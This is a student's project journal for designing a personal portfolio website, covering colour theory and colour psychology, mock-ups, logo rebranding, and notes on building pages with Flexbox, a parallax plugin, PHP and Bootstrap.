For the uniqueness of the portfolio I know it will be unique because it is my own design and work on there. As for consistency it will follow the same design style throughout. The audience is anyone who is interested in my work and coding and graphics. The passion in the work comes from my enjoyment in producing it, this is linked to it being emotive through the enjoyment. Competitiveness is going to be shown in the competitive market in the world of designing and how successful I will be in getting a job in the field. Exposing the personal portfolio website will be done through uploading the website onto a live platform. The leadership of the brand will be myself because it is my brand for myself. Making the personal portfolio website memorable enough will be a challenge because I need to be able to find a combination of trends that work with the style of work I produce and need something to entice an audience. A large factor that comes to mind for making the website portfolio hardy is the addition of an e-learning resource within the website to teach some basics of code, this links to the results-focussed part from wanting good results from students of coding. Other ways in which the personal portfolio will be results-focused is through the success of the website, looking professional, having people look at it, and creating the prospects for myself to possibly gain a career from being able to showcase my skills. How the website will show direction and be direct and to the point will be by having different pages within the website focused on my skills, including the coding and the graphics. Making the website visually identifiable will be from my own design, influenced by the research done on trends but with my own ideas and style for how I want it to look. Finally, making my personal portfolio website genuine is that it will be all of my own work and a large proportion of it will be what I enjoyed producing.

Colour Theory and Palates

The reason for looking at colour theory is to be able to decipher the best colour combinations to compliment a website.

Basic Colour Theory

Colour theory encompasses a multitude of definitions, concepts and design applications - enough to fill several encyclopedias. However, there are three basic categories of colour theory that are logical and useful : The colour wheel, colour harmony, and the context of how colours are used.

Colour theories create a logical structure for colour. For example, if we have an assortment of fruits and vegetables, we can organise them by colour and place them on a circle that shows the colours in relation to each other.

Colour wheel

A colour circle, based on red, yellow and blue, is traditional in the field of art. Sir Isaac Newton developed the first circular diagram of colors in 1666. Since then, scientists and artists have studied and designed numerous variations of this concept. Differences of opinion about the validity of one format over another continue to provoke debate. In reality, any colour circle or colour wheel which presents a logically arranged sequence of pure hues has merit.

There are also definitions (or categories) of colours based on the colour wheel. We begin with a 3-part colour wheel.

Primary Colors: Red, yellow and blue

In traditional colour theory (used in paint and pigments), primary colours are the 3 pigment colours that can not be mixed or formed by any combination of other colours. All other colours are derived from these 3 hues.

Secondary Colors: Green, orange and purple

These are the colours formed by mixing the primary colours.

Tertiary Colors: Yellow-orange, red-orange, red-purple, blue-purple, blue-green & yellow-green

These are the colours formed by mixing a primary and a secondary colour. That's why the hue is a two word name, such as blue-green, red-violet, and yellow-orange.

Colour Harmony

Harmony can be defined as a pleasing arrangement of parts, whether it be music, poetry, colour, or even an ice cream sundae.

In visual experiences, harmony is something that is pleasing to the eye. It engages the viewer and it creates an inner sense of order, a balance in the visual experience. When something is not harmonious, it's either boring or chaotic. At one extreme is a visual experience that is so bland that the viewer is not engaged. The human brain will reject under-stimulating information. At the other extreme is a visual experience that is so overdone, so chaotic that the viewer can't stand to look at it. The human brain rejects what it can not organise, what it can not understand. The visual task requires that we present a logical structure. Colour harmony delivers visual interest and a sense of order.

In summary, extreme unity leads to under-stimulation, extreme complexity leads to over-stimulation. Harmony is a dynamic equilibrium.

Some Formulas for Colour Harmony

There are many theories for harmony. The following illustrations and descriptions present some basic formulas.

1. A color scheme based on analogous colors

Analogous colours are any three colours which are side by side on a 12 part colour wheel, such as yellow-green, yellow, and yellow-orange. Usually one of the three colours predominates.

2. A color scheme based on complementary colors

Complementary colours are any two colours which are directly opposite each other, such as red and green and red-purple and yellow-green. In the illustration above, there are several variations of yellow-green in the leaves and several variations of red-purple in the orchid. These opposing colours create maximum contrast and maximum stability.

3. A color scheme based on nature

Nature provides a perfect departure point for colour harmony. In the illustration above, red yellow and green create a harmonious design, regardless of whether this combination fits into a technical formula for colour harmony.

Hue, shade, tint and tone

Let’s go back to that 64-pack of crayons from our first day of school. (Remember “raw umber”? What is an umber anyway, and is it actually better raw than cooked?) Anyway, you might be wondering, how we got from the twelve colours on our original colour wheel to all those crayons? That’s where tints, shades, and tones come in.

Simply put, tints, tones and shades are variations of hues, or colours, on the colour wheel. A tint is a hue to which white has been added. For example, red + white = pink. A shade is a hue to which black has been added. For example, red + black = burgundy. Finally, a tone is a colour to which black and white (or grey) have been added. This darkens the original hue while making the colour appear more subtle and less intense.

How Do I Select an Effective Colour Scheme?

Here are 3 of the commonly accepted structures for a good colour scheme:

  1. triadic
  2. compound
  3. analogous

Triadic Colour Scheme

Colour Theory for Web Designers

Triadic Colour Scheme

Composed of 3 colours on separate ends of the colour spectrum. There is a very easy way to create a Triadic colour scheme:

  1. Take a colour wheel, and choose your base colour.
  2. Draw an Equilateral Triangle from this point.
  3. The three points of the triangle will form your tri-colour scheme.

By using an Equilateral Triangle, you can ensure the colours have equal vibrancy and compliment each other properly.

Compound Colour Scheme (aka Split Complimentary)

Colour Theory for Web Designers

Compound Colour Scheme

The Compound colour scheme is based on providing a range of Complementary Colours: two colours are chosen from opposite ends of the colour spectrum. By doing so, the designer is allowed more freedom in their design while also benefiting from the visual appeal of complementary colours.

Analogous

Colour Theory for Web Designers

Analogous

An Analogous colour scheme is based on a careful selection of colours in the same area of the colour spectrum. Usually the colours are differentiated by their vibrancy, and their contrast when compared to each other.

Two examples of an Analogous colour scheme are:

  1. Shades Yellow and Orange
  2. A Monochromatic Selection (Shades of a base colour)

Colours popular for websites

Color psychology

Every colour has its unique tones and meanings. By carefully selecting your colours, you can reinforce the overall message of a site.

Note: Colour meanings can vary dramatically across cultures and regions. The following descriptions hold mostly for the United States.

Red

This vibrant, aggressive colour can convey a variety of meanings depending on context, but it does it all with power and flair. Combine it with black for a masculine, aggressive feel perfect for a sports car. Pair it with whites and golds, and it speaks of love and passion. Red also represents danger—think stop signs—and blood—think The Red Cross.

Red Website

The most stimulating colour, red is so energising it has been used to increase blood circulation. Representing passion and power, red is the colour that will attract the most attention, which is why it is commonly used for warnings and important notices.

Red is very appropriate for the No Way NSA website, whose purpose is calling alarm to a perceived threat from the NSA. Using red in the first section of the single-page site is especially clever because it calls attention to the primary message while physiologically inducing people to “get out of the danger zone” by scrolling downwards. This, of course, only makes the user engage with more content.

However, this could work against you, as red can incite anger, or at least overstimulation. If you’re going for a more relaxed atmosphere, use it sparingly (or at least in a lighter shade) or not at all.

Orange

Warm, but less aggressive than red, orange is hard to miss—which explains its use in construction, safety, and hunting equipment. It also practically screams fall, pumpkins, and Halloween. Orange’s warmth can evoke a fun and energetic atmosphere.

Orange Website

As the most muted of the warm colours, orange is uniquely versatile. As a primary colour it can be engaging and energising, and as a secondary colour it also retains these properties in an unobtrusive way. Orange also helps to create a sensation of movement and energy.

Aside from it being part of the brand style, orange works well with Fanta’s lighthearted and cartoonish site. The colour shows creativity while retaining familiarity.

Yellow

Yellow represents the sun, warmth, and summertime. It’s also the most visible colour on the spectrum, so it really jumps out at you. It’s especially eye-catching when combined with white or black, as it is in safety equipment, school buses, and taxis. Be careful with it, though, as many people it irritating.

Yellow Website

Yellow is one of the more versatile colours, depending on the shade.

A bright yellow is the most energetic of the colours, without the severity of red. Middle shades of yellow give a sense of comfort while still feeling invigorating. Darker shades (including gold) can give the impression of antiquity, and lend an air of timelessness, wisdom, and curiosity.

In the above example from web design agency Flash Media, the darker shade of yellow exudes energy, curiosity, and authority. This makes a lot of sense for a company who thrives on the value of their consultancy and skills.

Blue

Blue evokes the celestial, the tropical, and—oddly—the professional. Given its long association with water, we we think of blue as refreshing and cleansing. Darker shades of blue, however, can invoke sadness. There’s a reason we call it “the blues,” after all.

Blue Website

Like yellow, blue’s meaning varies greatly depending on the shade. All blues are universally relaxing and safe, but the lighter shades will seem more friendly while the darker ones seem more somber. Social media sites like Twitter and Facebook take advantage of light and medium shades, while corporate websites prefer dark shades’ tones of strength and reliability.

Van Vliet & Trap, an event design agency, makes clever use of dark blue. By using the blue in the flowers in the background, they visually hint at their expertise in floral design while also exuding trust and reliability. It makes a lot of sense since they plan high visibility (and somewhat nerve-wracking) events like weddings.

Green

As the colour of most plant life, green conveys a sense of growth and health, making it perfect for organic, environmentally friendly, and healthy products. Combine it with blues and browns to capture nature. Green also represents wealth and finance in the U.S.

Green Website

Green bridges the gap between warm and cool colours, though tends to be more of a cool colour. This means green has the same relaxing effects of blue, but still retains some of the energising qualities of yellow. As such, it creates a very balanced and stable atmosphere. Darker shades give off more of the money/affluence feelings which you can see with Ameritrade above.

Brown

You won’t see much brown on the web, probably because it implies dirtiness. But it’s perfect if you’re looking to create a sense of earthiness and luxury, perhaps for a sophisticated fashion site.

Purple

In ancient Rome, only the rich could afford purple (the dye was made from snail shells). That association remains strong all these centuries later, making purple an ideal hue for luxury brands. When combined with red, it can feel intimate and romantic. With whites and pinks, it becomes playful and child-like.

Purple Website

Historically associated with royalty, purple retains the tone of luxury, even to the point of decadence.

Purples suggests lavishness and wealth in general, making it a popular choice for fashion and luxury goods (and even chocolate, like the Cadbury example above). Lighter shades like lavender (with pink hues) are considered romantic, while darker shades seem more luxurious and mysterious.

White

White is all about purity, innocence, and sterility. You’ll see it in sites focused on weddings, healthcare, science, and spirituality. It also connotes a sense of cleanliness and freshness, like freshly laundered and folded sheets.

White Website

White is the colour most associated with virtue, purity, and innocence in Western cultures.

Minimalist and simplistic sites most often use it as a background. By drawing the least attention of all the colours, white is the best for accenting the other colours on the page.

This works particularly well for the awwwards-winning website of artist Kaloian Toshev. The white background draws attention to his vibrant artwork, while creating an art-gallery aura of elegance.

Black

Black implies strength, luxury, evil, death, and the unknown. The battle between good and evil is represented as white versus black—just look at Darth Vader and Luke Skywalker’s usual costumes.

Black Website

The strongest of the neutral colours, black exists on almost every website.

It can take on varying characteristics depending on its supporting colours, or dominate all of them if used in excess. Its strength amidst neutrality makes it the colour of choice for long blocks of text, but as a primary colour can give the impression of edginess, sophistication, or even evil.

For most websites, black is used to create an instant feeling of sophistication and timelessness. The feeling of elegance is especially strong well when paired with white font and set against a minimalist layout, as you can see in the “Dream and Reach” microsite from Bose.

Grey

Grey Website

While in certain situations it can seem brooding or sad, grey is nonetheless a popular choice for looking traditional or professional. However, one of the greatest advantages of grey lies in varying its hues — changing the shade can give you a customised mix of properties from white and black, a powerful tool in skilful hands.

When paired with brighter colours and presented in a flat UI, the grey background of awwwards feels much more modern than it does somber.

Beige

Beige Website

Beige is the wildcard of the colours, as its main use is in drawing out other colours.

On its own, beige is dull, though this can be used to symbolise humility. However, it will take on the characteristics of the colours around it, making it an interesting design tool. For these reasons, beige is almost always a secondary or background colour.

Darker shades of beige (like on the Dishoom site) will create an earthy and almost paper-like texture, while lighter shades feel fresher. In this case, the lighter shade around the brand name, which darkens outwards, help create the feeling that the restaurant is a fresh modern take on earthy cuisine.

Ivory

Ivory Website

In terms of emotional response, ivory (and cream) are slight variations on white.

Ivory is seen as warmer (or less sterile) than white, making it more comforting while still exuding the same minimalistic and complementary aspects. Ivory should be used in place of white to soften the contrast between it and darker colours. For the art in my coffee site, an orange/brown accent is added to the cream background (which looks slightly greyish) to create a sense of warmth.

Mock-ups of Designs

Mock 1
Mock 2
Mock 3
Mock 4
Mock 5
Mock 6

Adobe Atom not Sublime text

Atom is better colour coded

Atom is more up to date

Made last website live

https://rebeccarankin.github.io/Jake-the-Jaguar/

From learning how to publish a live website on Github I am now prepared for making my Personal Portfolio Website live.

Trying out some of the code

https://www.viget.com/articles/angled-edges-with-css-masks-and-transforms

https://www.w3schools.com/howto/howto_css_parallax.asp

https://css-tricks.com/snippets/css/a-guide-to-flexbox/

https://css-tricks.com/clipping-masking-css/

https://www.w3schools.com/php/php_includes.asp

https://www.quora.com/What-is-the-difference-between-AngularJs-and-Angular-2

https://toddmotto.com/should-you-learn-angular-1-or-angular-2

https://angularjs.org/

Progress

Using flexbox to create the homepage of the website

Looking at online sources I was able to construct a basic Flexbox.

By adding in margins on each of the Flexboxs I was able to increase their width but not the height.

For making the Flexbox tall enough to cover the page using a percentage did not work therefore I had to use pixels. It came to my realisation that when increasing the container Flexbox the children properties followed suit in increasing height.

Once the Flexbox was the right size I placed images in as background images in the CSS where I could easily position them and tell them not to repeat.

Once the images were placed in the child objects in the Flexbox they were placed left, centre and right so that they are in the right place for when the user scrolls down to the next relevant page.

Looking at using C++ in my website for creating a light switch

Through understanding parts of the C++ I realise that it will not work on my website due to not having a server since the website is not live yet, and the other methods of writing C++ are not for completing the light switch task I want to create. Due to all of these barriers that I have not managed to overcome I have decided to create a similar effect using CSS.

Courses in C++

Due to the lack of time available to me it is more likely that I will enrol in a course to learn about C++ properly in a couple of years. Even though it is almost £500 for a 10 week course, I feel it would be worthwhile because it could make me more employable.

Editing the person stock image

In Photoshop I added a block of colour next to the image of the person to create a landscape image for the purposes of filling a computer screen on the website.

Once the stock image I was using had been edited, I replaced the existing person images with the edited one. Once the first image had been replaced I had to change the Background position from left to -200px because the size of image had changed and needed to be realigned so that when the size of screen is reduced the responsive website still shows the important part of the image.

The next image to be replaced with the edited image was the background of the homepage for the about me section of the website. To achieve the height desired I learned from what I had done earlier and put a height in pixels. The height of the background image was put at 900px which is bigger than the height given to the Flexbox on the previous page because this one is a background image and the Flexbox is a placeholder within a page.

Using JavaScript to create the parallax part of the scrolling website

I found a website that showed me how to animate some bubbles on a web page using JavaScript so I thought I would attempt to reinterpret this for creating my parallax scroll within my website without using a plugin. Reading the script given on the website and rewriting it to do what I wanted it to and understanding the majority of the lingo it came to my attention it was not working.

After failing to reinterpret one example of JavaScript I had found, I found another site that allowed me to access a demo of how they had created their parallax website so that I could attempt to rewrite it again with the second version I had found. Even with looking at all of the script and code next to each other I was still not able to successfully execute it so I next looked at using a plug in to create the parallax scroll.

http://pixelcog.github.io/parallax.js/

After many efforts, I resigned to using a plug in to be able to create the parallax scroll. It took a little while to realise that I had to remove the background image to see the image being used in the parallax scroll. Even though I had to use a plug in in the end, I ensured I read all of the script to gain an even better understanding of the scrip of which I was largely successful.

Using PHP to write a copyright and put it in the HTML

Using W3schools I was able to see how to write PHP and saving the file.

After writing the PHP I put the link into the HTML file so it would show up in the

Downloading a portable server too run PHP

Had to change index.html to index.php so the PHP would be read. Open the files through the server to run the PHP. Looked up how to have a date that automatically updates.

Rebranding Myself

The reason behind rebranding myself came from creating a new website for my work. I wanted to use the same colour theme which derived from my research into colour theory. The colours blue and grey show professionalism.

Initial Ideas

Instead of using my full name Rebecca I decided to use Becca as that is the version of my name that I use most, therefore for advertising myself I would be more comfortable with the name I am used to.

The idea of creating a butterfly from my initials came about from putting the letters back to back. I still wanted the letters to be clear for the letters that they are. This is where the third colour in the middle derived from.

This is the development of logo design. From putting the letters back to back I realised that the middle part needs to be lined up better and the bottom half of the 'R' worked better being curved.
Branding

This is an extension on the design of my brand for myself.

Final logo design

The difference can be seen in this final logo design where by the middle part has been lined up to the top and bottom rather than being at an angle. Also the word design is now bigger than the logo to balance the logo as a whole. This design also works better as part of the website.

Graphic ideas

The graphic is derived from the logo, but more so from the butterfly design. I started with the same colour scheme as the logo then played around with the colours to see which colour scheme looks more professional and interesting at the same time.

In the end I decided that the blue grey and pink which came from the logo looked more professional, especially for the website. As for the final design board a combination of the two show both the ability to be professional and different.

Graphic used on the graphics homepage on my website portfolio
Qualities

While using the logo design to inspire me for a lot of my work within the website I created, I wanted to use it in my About Me part of the website to show continuity. The four words used came from my CV and I incorporated them into the logo design.

Comparing Flexbox & Bootstrap

Bootstrap for creating a gallery in the website

When using bootstrap to create a gallery for the website, whether there were two or four images in a row the last one always seemed to drop and I could not see where in the code this was happening. As a result I resorted to using flex box again for the gallery.

What I have learned

Throughout the process of creating a personal portfolio website I have learned how many different types of code there are that I needed to learn alongside the HTML and CSS.

While learning how to write and understand bootstrap I learned how to integrate flexbox and bootstrap to make it work best for my website.

Final Website

https://rebeccarankin.github.io/Personal_Portfolio_Website/

Credits:

Created with images by allispossible.org.uk - "Portfolio mosaic"

Report Abuse

If you feel that this video content violates the Adobe Terms of Use, you may report this content by filling out this quick form.

To report a Copyright Violation, please follow Section 17 in the Terms of Use.